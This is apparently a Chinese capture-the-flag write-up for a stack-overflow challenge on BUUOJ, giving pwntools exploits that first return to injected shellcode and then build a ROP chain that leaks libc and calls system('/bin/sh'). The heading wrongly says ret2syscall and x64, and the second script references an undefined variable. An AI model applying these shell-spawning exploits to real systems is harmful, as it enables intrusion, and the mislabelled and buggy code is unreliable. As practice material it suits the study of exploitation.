ROP-ret2syscall,栈溢出

https://buuoj.cn/challenges#jarvisoj_level2_x64

checksec

保护全关,32位系统。其中一开始会输出buf的地址

这个逻辑很简单,我先输入shellcode,然后栈溢出,返回到栈上的buf地址运行即可。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

ip='ip_addr'
port=1111
file_addr = './jarvisoj_level1'

# p = remote(ip,port)
p = process(file_addr)
elf = ELF(file_addr)

buf_addr = int(p.recvline()[len("What's this:")+2:-2],16)
print(buf_addr)
payload = asm(shellcraft.sh())
payload += b'a'*(136-len(payload)+4)
payload += p32(buf_addr)

p.send(payload)
p.interactive()

这个线上似乎没有setbuf,所以输入和输出有点小问题。

似乎需要我先输入什么才会有反应…

妈的,虽然是题目的bug,但是也不是没有解决方案。我么构造这么一个payload流程:

画板

他似乎收到回车才会输出地址,那么我就先输入一堆东西然后回车,这样他就会输出地址,又会再次返回到vulnerable函数中再输出一次地址,这个时候我再输入shellcode+返回地址为buf。他就可以去buf执行了。

似乎还是不行…

还有一个libc的办法来做,思路是这样的:

构造rop调用write函数来泄露libc的基地址,并且再次调用main函数,根据libc的基址得到system和/bin/sh字符串地址,然后再次利用漏洞构造rop调用system(‘\bin\sh’)即可。

画板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

ip='node5.buuoj.cn'
port=28043
file_addr = './jarvisoj_level1'
p = remote(ip,port)
# p = process(file_addr)
elf = ELF(file_addr)
main_addr=0x80484b7
write_plt=elf.plt['write']
write_got=elf.got['write']


payload =b'a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)
p.send(payload)
write_addr = u32(io.recv(4))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload =b'a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)

p.send(payload)
p.interactive()